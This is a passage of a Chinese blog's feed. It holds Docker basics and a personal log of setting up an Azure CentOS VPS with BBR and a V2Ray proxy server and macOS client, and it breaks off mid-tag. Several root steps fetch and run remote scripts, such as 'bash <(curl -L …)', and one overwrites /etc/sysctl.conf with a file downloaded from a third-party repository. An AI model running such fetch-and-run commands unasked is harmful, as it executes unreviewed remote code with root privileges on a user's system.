<content type="html"><![CDATA[<h2 id="容器">容器</h2><p>容器是另外一种轻量级的虚拟化,容器是共用主 机内核,利用内核的虚拟化技术隔离出一个独立的运行环境,拥有独立的一个文件系统,网络空间,进程空间视图等</p><p><strong>容器与虚拟机的区别</strong></p><p>容器跟虚拟机很相似,但是依然有不同,容器与虚拟机本质的区别是:</p><p>容器是进程级别的资源隔离。虚拟机是操作系统级别的资源隔离</p><h2 id="Docker">Docker</h2><p>Docker是一个开源的容器化平台,在Linux,Windows,Mac上都可以使用。</p><p>Docker可以分为三部分:</p><ul><li><p>Docker client</p><p>Docker客户端是命令行工具,它与Docker守护进程(deamon)通信,用于创建、管理和操作Docker容器、镜像、网络等资源。Docker客户端可以在本地或远程计算机上运行,以便与Docker守护进程通信。</p></li><li><p>Docker deamon</p><p>Docker守护进程是运行在主机上的后台进程,负责管理Docker容器、镜像、网络等资源。它通过与Docker客户端通信来响应请求,包括创建、启动、停止、删除容器等操作。</p></li><li><p>Docker registry</p><p>Docker镜像库是Docker镜像(Docker image)的存储库,可以存储和分享Docker镜像</p></li></ul><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303231427101.png" alt="image-20230323142740024"></p><span id="more"></span><p>Docker deamon必须运行在Linux上。所以Window或Mac上都是用的是Docker Desktop。Docker Desktop在电脑上创建一个Linux虚拟机,将Docker deamon运行在Linunx上,并为用户提供Docker client,来与Docker deamon进行交互。</p><h3 id="docker-run命令">docker run命令</h3><p>docker run …</p><ul><li><p><code>-d</code>: 后台运行容器,并返回容器ID</p></li><li><p><code>-i</code>: 以交互模式运行容器,通常与 <code>-t</code> 同时使用</p></li><li><p><code>-t</code>: 为容器重新分配一个伪输入终端,通常与 <code>-i</code> 同时使用</p></li><li><p><code>-p</code>: 指定(发布)端口映射,格式为:主机(宿主)端口:容器端口</p><p>这是小写的p</p></li><li><p><code>-P</code>: 随机端口映射,容器内部端口随机映射到主机的高端口</p><p>这是大写的P</p></li><li><p><code>--name=nginx-lb</code>: 为容器指定一个名称</p></li><li><p><code>-e username=ritchie</code>: 设置环境变量</p></li><li><p><code>--env-file=c:/temp1/t1.txt</code>: 从指定文件读入环境变量</p></li><li><p><code>--expose=2000-2002</code>: 开放(暴露)一个端口或一组端口;</p></li><li><p><code>--link my_sql:sql_server</code> : 添加链接到另一个容器</p></li><li><p><code>-v C:\temp:/data</code>: 绑定一个卷(volume)</p><p>冒号左边是宿主机目录格式,右边是Linux目录格式</p></li><li><p><code>--rm</code> 退出时自动删除容器</p></li></ul><h2 id="Docker网络">Docker网络</h2><p>Docker网络有四种类型,分别是:</p><ul><li><p>Bridge</p><p>桥接式网络模式,也是默认的网络模式</p></li><li><p>Host</p></li><li><p>开放式网络模式,和宿主机共享网络</p></li><li><p>Container</p></li><li><p>联合挂载式网络模式,和其他容器共享网络</p></li><li><p>None</p></li><li><p>封闭式网络模式,不为容器配置网络</p></li></ul><p>ps.从Windows宿主机是无法ping通Docker容器的,但从容器里可以ping通宿主机。因为容器是在一个Linux虚拟机里,宿主机是看不到的。但是从容器到宿主机是有网关的,所以可以通信。</p><h3 id="下面主要讲一下Bridge网络">下面主要讲一下Bridge网络</h3><p>Bridge网络使用虚拟网桥。连接到同一个网桥上容器是可以互相通信的,不同网桥之间的容器一般是不能互相通信的。</p><p>Docker启动时会会默认创建一个bridge网络,如果不自行创建新的网络,那么创建的容器默认都在这个bridge上。</p><p>如果不同bridge之间的容器想要通信怎么办:</p><p>只需用<code>docker network connect</code>命令将容器搭到另一个bridge上即可。这样该容器会有不止一个ip地址,同一bridge下的ip可以互相ping通</p>]]></content>
<summary type="html"><h2 id="容器">容器</h2>
<p>容器是另外一种轻量级的虚拟化,容器是共用主 机内核,利用内核的虚拟化技术隔离出一个独立的运行环境,拥有独立的一个文件系统,网络空间,进程空间视图等</p>
<p><strong>容器与虚拟机的区别</strong></p>
<p>容器跟虚拟机很相似,但是依然有不同,容器与虚拟机本质的区别是:</p>
<p>容器是进程级别的资源隔离。虚拟机是操作系统级别的资源隔离</p>
<h2 id="Docker">Docker</h2>
<p>Docker是一个开源的容器化平台,在Linux,Windows,Mac上都可以使用。</p>
<p>Docker可以分为三部分:</p>
<ul>
<li>
<p>Docker client</p>
<p>Docker客户端是命令行工具,它与Docker守护进程(deamon)通信,用于创建、管理和操作Docker容器、镜像、网络等资源。Docker客户端可以在本地或远程计算机上运行,以便与Docker守护进程通信。</p>
</li>
<li>
<p>Docker deamon</p>
<p>Docker守护进程是运行在主机上的后台进程,负责管理Docker容器、镜像、网络等资源。它通过与Docker客户端通信来响应请求,包括创建、启动、停止、删除容器等操作。</p>
</li>
<li>
<p>Docker registry</p>
<p>Docker镜像库是Docker镜像(Docker image)的存储库,可以存储和分享Docker镜像</p>
</li>
</ul>
<p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303231427101.png" alt="image-20230323142740024"></p></summary>
<category term="开发" scheme="https://blog.karryspace.com/categories/%E5%BC%80%E5%8F%91/"/>
<category term="docker" scheme="https://blog.karryspace.com/tags/docker/"/>
</entry>
<entry>
<title>自搭VPS折腾记录</title>
<link href="https://blog.karryspace.com/posts/%E8%87%AA%E6%90%ADVPS%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
<id>https://blog.karryspace.com/posts/%E8%87%AA%E6%90%ADVPS%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/</id>
<published>2023-02-06T05:03:45.000Z</published>
<updated>2025-12-16T13:05:40.725Z</updated>
<content type="html"><![CDATA[<p>因为之前有一个Azure的最基础的云服务器,就想着搭一个VPS,一直拖了很久才行动,下面是搭建过程的一些记录。如果作为一个教程看,可以直接跳过不需要的部分,比如升级系统。不过一定要看最后,最后有写我为什么成功后又失败了。</p><h1>本文所使用的设施</h1><h2 id="云服务器">云服务器</h2><ul><li><p>服务:Azure Standard B1s</p><p>1G内存 64G磁盘</p></li><li><p>操作系统:Linux CentOS 7.6</p> <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[CentOS]$ </span><span class="language-bash"><span class="built_in">cat</span> /etc/redhat-release</span></span><br><span class="line">CentOS Linux release 7.9.2009 (Core)</span><br><span class="line"><span class="meta prompt_">[CentOS]$ </span><span class="language-bash"><span class="built_in">uname</span> -r</span></span><br><span class="line">3.10.0-1160.71.1.el7.x86_64</span><br><span class="line"><span class="meta prompt_">[CentOS]$ </span><span class="language-bash">sysctl net.ipv4.tcp_available_congestion_control</span></span><br><span class="line">net.ipv4.tcp_available_congestion_control = cubic reno</span><br></pre></td></tr></table></figure></li><li><p>位置:East Asia</p></li><li><p>服务器获取来源:Azure student</p></li></ul><span id="more"></span><h2 id="说明">说明</h2><p>凡是以<code>[root]#</code>开头均表示需要以root身份执行命令</p><p>各命令的命令行输出不一定相同,大家自行判断是否执行成功</p><h1>一、配置Google BBR</h1><p>BBR是Google的一套网络拥塞控制算法,用在VPS服务器上,可以有效减少拥堵丢包,大幅提高网络连接和翻墙速度。大家可自行选择是否需要BBR。</p><p>因为CentOS7内核版本较低,没有内置BBR,所以需要升级内核</p><p>如果是其他已内置BBR的系统,如Debian 9或更高版本的 Debian Linux,请直接参考<a href="https://github.com/bannedbook/fanqiang/blob/master/v2ss/%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84Google%20BBR%20%E4%B8%80%E9%94%AE%E5%8A%A0%E9%80%9FVPS%E6%95%99%E7%A8%8B.md">这个教程</a></p><h2 id="1-升级内核">1. 升级内核</h2><h3 id="1-升级源">1 升级源</h3><p><code>yum update</code></p><h3 id="2-安装elrepo并升级内核:">2 安装elrepo并升级内核:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm</span></span><br><span class="line">Retrieving http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm</span><br><span class="line">Retrieving http://elrepo.org/elrepo-release-7.0-4.el7.elrepo.noarch.rpm</span><br><span class="line">Preparing... ################################# [100%]</span><br><span class="line">Updating / installing...</span><br><span class="line"> 1:elrepo-release-7.0-4.el7.elrepo ################################# [100%]</span><br><span class="line"> </span><br><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">yum --enablerepo=elrepo-kernel install kernel-ml -y</span></span><br><span class="line">Loaded plugins: fastestmirror, langpacks, product-id, search-disabled-repos, subscription-manager</span><br><span class="line"></span><br><span class="line">This system is not registered with an entitlement server. You can use subscription-manager to register.</span><br><span class="line"></span><br><span class="line">Loading mirror speeds from cached hostfile</span><br><span class="line"> * elrepo: mirrors.thzhost.com</span><br><span class="line"> * elrepo-kernel: mirrors.thzhost.com</span><br><span class="line">elrepo | 3.0 kB 00:00:00 </span><br><span class="line">elrepo-kernel | 3.0 kB 00:00:00 </span><br><span class="line">(1/2): elrepo/primary_db | 457 kB 00:00:00 </span><br><span class="line">(2/2): elrepo-kernel/primary_db | 2.1 MB 00:00:00 </span><br><span class="line">Resolving Dependencies</span><br><span class="line"><span class="meta prompt_">--> </span><span class="language-bash">Running transaction check</span></span><br><span class="line"><span class="meta prompt_">---> </span><span class="language-bash">Package kernel-ml.x86_64 0:6.1.9-1.el7.elrepo will be installed</span></span><br><span class="line"><span class="meta prompt_">--> </span><span class="language-bash">Finished Dependency Resolution</span></span><br><span class="line"></span><br><span class="line">Dependencies Resolved</span><br><span class="line"></span><br><span class="line">=======================================================================================================</span><br><span class="line"> Package Arch Version Repository Size</span><br><span class="line">=======================================================================================================</span><br><span class="line">Installing:</span><br><span class="line"> kernel-ml x86_64 6.1.9-1.el7.elrepo elrepo-kernel 60 M</span><br><span class="line"></span><br><span class="line">Transaction Summary</span><br><span class="line">=======================================================================================================</span><br><span class="line">Install 1 Package</span><br><span class="line"></span><br><span class="line">Total download size: 60 M</span><br><span class="line">Installed size: 284 M</span><br><span class="line">Downloading packages:</span><br><span class="line">kernel-ml-6.1.9-1.el7.elrepo.x86_64.rpm | 60 MB 00:00:02 </span><br><span class="line">Running transaction check</span><br><span class="line">Running transaction test</span><br><span class="line">Transaction test succeeded</span><br><span class="line">Running transaction</span><br><span class="line">Warning: RPMDB altered outside of yum.</span><br><span class="line"> Installing : kernel-ml-6.1.9-1.el7.elrepo.x86_64 1/1 </span><br><span class="line"> Verifying : kernel-ml-6.1.9-1.el7.elrepo.x86_64 1/1 </span><br><span class="line"></span><br><span class="line">Installed:</span><br><span class="line"> kernel-ml.x86_64 0:6.1.9-1.el7.elrepo </span><br><span class="line"></span><br><span class="line">Complete!</span><br></pre></td></tr></table></figure><h3 id="3-查看现在的内核">3 查看现在的内核</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root]# uname -r</span><br><span class="line">3.10.0-1160.71.1.el7.x86_64</span><br></pre></td></tr></table></figure><h3 id="4-更新grub文件并重启">4 更新grub文件并重启</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">egrep ^menuentry /etc/grub2.cfg | <span class="built_in">cut</span> -f 2 -d \<span class="string">'</span></span></span><br><span class="line">CentOS Linux (6.1.9-1.el7.elrepo.x86_64) 7 (Core)</span><br><span class="line">CentOS Linux (3.10.0-1160.71.1.el7.x86_64) 7 (Core)</span><br><span class="line">CentOS Linux (3.10.0-957.27.2.el7.x86_64) 7 (Core)</span><br><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash"><span class="string">grub2-set-default 0</span></span></span><br><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash"><span class="string">reboot</span></span></span><br></pre></td></tr></table></figure><h3 id="5-查看内核版本是否以更新">5 查看内核版本是否以更新</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[CentOS]# uname -r</span><br><span class="line">6.1.9-1.el7.elrepo.x86_64</span><br></pre></td></tr></table></figure><p>已更新成功</p><h2 id="2-开启BBR">2 开启BBR</h2><h3 id="1-开启BBR">1 开启BBR</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">vi /etc/sysctl.conf</span> </span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">在文件末尾添加如下内容</span></span><br><span class="line">net.core.default_qdisc = fq</span><br><span class="line">net.ipv4.tcp_congestion_control = bbr</span><br></pre></td></tr></table></figure><h3 id="2-加载系统参数">2 加载系统参数</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">sysctl -p</span></span><br><span class="line">net.core.default_qdisc = fq</span><br><span class="line">net.ipv4.tcp_congestion_control = bbr</span><br></pre></td></tr></table></figure><h3 id="3-确认BBR已经开启">3 确认BBR已经开启</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">sysctl net.ipv4.tcp_available_congestion_control</span></span><br><span class="line">net.ipv4.tcp_available_congestion_control = reno cubic bbr</span><br><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">lsmod | grep bbr</span></span><br><span class="line">tcp_bbr 20480 2 </span><br></pre></td></tr></table></figure><h2 id="3-配置BBR">3 配置BBR</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">wget https://raw.githubusercontent.com/bannedbook/fanqiang/master/v2ss/server-cfg/sysctl.conf -O -> /etc/sysctl.conf</span></span><br><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">sysctl -p</span></span><br><span class="line">fs.file-max = 655350</span><br><span class="line">net.core.default_qdisc = fq</span><br><span class="line">net.ipv4.tcp_congestion_control = bbr</span><br></pre></td></tr></table></figure><h1>二、安装V2ray服务端</h1><h2 id="1-时间校准">1 时间校准</h2><p>时间需要和PC符合,不然无法使用。</p><p>可用<code>date</code>命令查看时间。若时间不一致,搜索修改服务器时间。</p><h2 id="2-服务器安装v2ray">2 服务器安装v2ray</h2><h3 id="直接使用官方安装脚本">直接使用官方安装脚本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">bash <(curl -L https://raw.githubusercontent.com/v2fly/fhs-install-v2ray/master/install-release.sh)</span></span><br><span class="line"><span class="meta prompt_"> % </span><span class="language-bash">Total % Received % Xferd Average Speed Time Time Time Current</span></span><br><span class="line"> Dload Upload Total Spent Left Speed</span><br><span class="line">100 22189 100 22189 0 0 42528 0 --:--:-- --:--:-- --:--:-- 42589</span><br><span class="line">info: Installing V2Ray v5.2.1 for x86_64</span><br><span class="line">Downloading V2Ray archive: https://github.com/v2fly/v2ray-core/releases/download/v5.2.1/v2ray-linux-64.zip</span><br><span class="line"><span class="meta prompt_"> % </span><span class="language-bash">Total % Received % Xferd Average Speed Time Time Time Current</span></span><br><span class="line"> Dload Upload Total Spent Left Speed</span><br><span class="line"> 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0</span><br><span class="line">100 11.0M 100 11.0M 0 0 10.9M 0 0:00:01 0:00:01 --:--:-- 10.9M</span><br><span class="line">Downloading verification file for V2Ray archive: https://github.com/v2fly/v2ray-core/releases/download/v5.2.1/v2ray-linux-64.zip.dgst</span><br><span class="line">info: Extract the V2Ray package to /tmp/tmp.WBXwFCQmXY and prepare it for installation.</span><br><span class="line">info: Systemd service files have been installed successfully!</span><br><span class="line">warning: The following are the actual parameters for the v2ray service startup.</span><br><span class="line">warning: Please make sure the configuration file path is correctly set.</span><br><span class="line">~~~~~~~~~~~~~~~~</span><br><span class="line">[Unit]</span><br><span class="line">Description=V2Ray Service</span><br><span class="line">Documentation=https://www.v2fly.org/</span><br><span class="line">After=network.target nss-lookup.target</span><br><span class="line"></span><br><span class="line">[Service]</span><br><span class="line">User=nobody</span><br><span class="line">CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE</span><br><span class="line">AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE</span><br><span class="line">NoNewPrivileges=true</span><br><span class="line">ExecStart=/usr/local/bin/v2ray run -config /usr/local/etc/v2ray/config.json</span><br><span class="line">Restart=on-failure</span><br><span class="line">RestartPreventExitStatus=23</span><br><span class="line"></span><br><span class="line">[Install]</span><br><span class="line">WantedBy=multi-user.target</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">In <span class="keyword">case</span> you have a good reason to <span class="keyword">do</span> so, duplicate this file <span class="keyword">in</span> the same directory and make your customizes there.</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Or all changes you made will be lost! <span class="comment"># Refer: https://www.freedesktop.org/software/systemd/man/systemd.unit.html</span></span></span><br><span class="line">[Service]</span><br><span class="line">ExecStart=</span><br><span class="line">ExecStart=/usr/local/bin/v2ray run -config /usr/local/etc/v2ray/config.json</span><br><span class="line">~~~~~~~~~~~~~~~~</span><br><span class="line">warning: The systemd version on the current operating system is too low.</span><br><span class="line">warning: Please consider to upgrade the systemd or the operating system.</span><br><span class="line"></span><br><span class="line">installed: /usr/local/bin/v2ray</span><br><span class="line">installed: /usr/local/share/v2ray/geoip.dat</span><br><span class="line">installed: /usr/local/share/v2ray/geosite.dat</span><br><span class="line">installed: /usr/local/etc/v2ray/config.json</span><br><span class="line">installed: /var/log/v2ray/</span><br><span class="line">installed: /var/log/v2ray/access.log</span><br><span class="line">installed: /var/log/v2ray/error.log</span><br><span class="line">installed: /etc/systemd/system/v2ray.service</span><br><span class="line">installed: /etc/systemd/system/v2ray@.service</span><br><span class="line">removed: /tmp/tmp.WBXwFCQmXY</span><br><span class="line">info: V2Ray v5.2.1 is installed.</span><br><span class="line">You may need to execute a command to remove dependent software: yum remove curl unzip</span><br><span class="line">Please execute the command: systemctl enable v2ray; systemctl start v2ray</span><br></pre></td></tr></table></figure><h3 id="试运行">试运行</h3><p>安装完之后,使用以下命令启动 V2Ray:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">systemctl start v2ray</span></span><br></pre></td></tr></table></figure><p>在首次安装完成之后,V2Ray 不会自动启动,需要手动运行上述启动命令。</p><p>设置开机自启动 V2Ray:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">systemctl <span class="built_in">enable</span> v2ray</span></span><br><span class="line">Created symlink from /etc/systemd/system/multi-user.target.wants/v2ray.service to /etc/systemd/system/v2ray.service.</span><br></pre></td></tr></table></figure><p>接下来看看 V2ray 是不是真的运行起来了:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">systemctl status v2ray</span></span><br><span class="line">● v2ray.service - V2Ray Service</span><br><span class="line"> Loaded: loaded (/etc/systemd/system/v2ray.service; enabled; vendor preset: disabled)</span><br><span class="line"> Drop-In: /etc/systemd/system/v2ray.service.d</span><br><span class="line"> └─10-donot_touch_single_conf.conf</span><br><span class="line"> Active: active (running) since Mon 2023-02-06 14:25:37 CST; 51s ago</span><br><span class="line"> Docs: https://www.v2fly.org/</span><br><span class="line"> Main PID: 2354 (v2ray)</span><br><span class="line"> CGroup: /system.slice/v2ray.service</span><br><span class="line"> └─2354 /usr/local/bin/v2ray run -config /usr/local/etc/v2ray/config.json</span><br><span class="line"></span><br><span class="line">Feb 06 14:25:37 hachaos systemd[1]: Started V2Ray Service.</span><br><span class="line">Feb 06 14:25:37 hachaos v2ray[2354]: V2Ray 5.2.1 (V2Fly, a community-driven edition of V2Ray.) C...d64)</span><br><span class="line">Feb 06 14:25:37 hachaos v2ray[2354]: A unified platform for anti-censorship.</span><br><span class="line">Feb 06 14:25:37 hachaos v2ray[2354]: 2023/02/06 14:25:37 [Warning] V2Ray 5.2.1 started</span><br><span class="line">Hint: Some lines were ellipsized, use -l to show in full.</span><br></pre></td></tr></table></figure><p>看到类似于这样的提示就算启动成功了。</p><p>但是由于此时还没有配置V2Ray,所以先关掉:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root]# systemctl stop v2ray</span><br></pre></td></tr></table></figure><h2 id="3-配置V2Ray">3 配置V2Ray</h2><h3 id="配置文件">配置文件</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root]# </span><span class="language-bash">vi /usr/local/etc/v2ray/config.json</span></span><br></pre></td></tr></table></figure><p>写入下列内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> "inbounds": [{</span><br><span class="line"> "port": 10086, // 服务器监听端口,自行修改</span><br><span class="line"> "protocol": "vmess",</span><br><span class="line"> "settings": {</span><br><span class="line"> "clients": [{</span><br><span class="line"> "id": "b831381d-6324-4d53-ad4f-8cda48b30811", //uuid, 自行修改</span><br><span class="line"> "alterId": 64</span><br><span class="line"> }]</span><br><span class="line"> }</span><br><span class="line"> }],</span><br><span class="line"> "outbounds": [{</span><br><span class="line"> "protocol": "freedom",</span><br><span class="line"> "settings": {}</span><br><span class="line"> }]</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>修改配置文件中的<code>port</code>,数字随意,建议四位或五位数;<br>接着修改<code>id</code>,这个id是指UUID,好比账号密码,要获取UUID可以去这个 <a href="https://www.uuidgenerator.net/">UUID Generator </a>网站,每次刷新网页会随机生成一个UUID;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 测试配置文件</span><br><span class="line">[root]# /usr/local/bin/v2ray test -config /usr/local/etc/v2ray/config.json</span><br><span class="line">V2Ray 5.2.1 (V2Fly, a community-driven edition of V2Ray.) Custom (go1.19.4 linux/amd64)</span><br><span class="line">A unified platform for anti-censorship.</span><br><span class="line">Configuration OK.</span><br></pre></td></tr></table></figure><p>输出这样就表示配置文件没有问题。</p><p>接下来启动V2Ray</p><p><code>service v2ray start</code></p><h3 id="开放端口">开放端口</h3><p>根据配置文件自己设置的端口,在服务器内或服务器管理网站开放相应端口。</p><h3 id="V2Ray常用命令:">V2Ray常用命令:</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">#启动 V2Ray</span><br><span class="line">service v2ray start</span><br><span class="line">#暂停 V2Ray</span><br><span class="line">service v2ray stop</span><br><span class="line">#查看 V2Ray 状态</span><br><span class="line">service v2ray status</span><br><span class="line">#重启 V2Ray</span><br><span class="line">service v2ray restart</span><br><span class="line">#重装 V2Ray</span><br><span class="line">service v2ray reload</span><br><span class="line">#强制重装 V2Ray</span><br><span class="line">service v2ray force-reload</span><br></pre></td></tr></table></figure><h1>4 安装配置V2Ray客户端(MacOS)</h1><p>网上大多都是windows教程,所以这里重点写一下macOS教程</p><h2 id="下载客户端软件">下载客户端软件</h2><p>我选择的是<a href="https://github.com/Qv2ray/Qv2ray">Qv2ray</a>作为图形界面客户端。直接在GitHub上找到最新release下载macOS版本即可</p><h2 id="配置电脑与客户端">配置电脑与客户端</h2><p>Qv2ray只是一个图形界面客户端,我们依然需要自行在电脑上下载v2ray即<a href="https://github.com/v2fly/v2ray-core">v2ray-core</a>,它的官方下载教程在<a href="https://www.v2fly.org/guide/install.html">这里</a>,但是我安装时电脑的行为与官方教程上有些不同,下面是我的下载过程:</p><h3 id="1-homebrew包管理器安装v2ray">1 homebrew包管理器安装v2ray</h3><p>如果没有homebrew,请先安装homebrew,其<a href="https://brew.sh/">官网</a>有安装命令</p><p>有homebrew后,命令行运行<code>brew install v2ray</code></p><p>查看是否安装成功并获取安装路径:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ where v2ray</span><br><span class="line">/opt/homebrew/bin/v2ray</span><br></pre></td></tr></table></figure><p>得到如上返回就说明已经成功安装v2ray,同时记录下改路径,后面会用到。</p><blockquote><p>我用的是zsh,直接有where命令,如果没有where命令,可以使用其他命令</p></blockquote><h3 id="2-下载资源文件">2 下载资源文件</h3><p>官方教程在这里说“随命令一起下载的 geosite.dat 和 geoip.dat 放置在 <code>/usr/local/share/v2ray/</code> 目录下”。但是我用“where”命令并没有找到这两个文件。所以需要自己下载</p><p>于是在 <a href="https://github.com/v2fly/v2ray-core/releases">Github Releases</a> 下载适用于 macOS 平台的 ZIP 压缩包,解压后里面有相应的资源文件,即以<code>.dat</code>结尾的文件。(同时还有v2ray可执行文件,因为已经下载了v2ray,该文件可以删除)</p><p>将资源文件放在电脑上的某个目录下即可</p><h3 id="3-配置客户端">3 配置客户端</h3><ol><li><p>首先打开<code>首选项</code>,找到<code>内核设置</code>部分</p><p><img 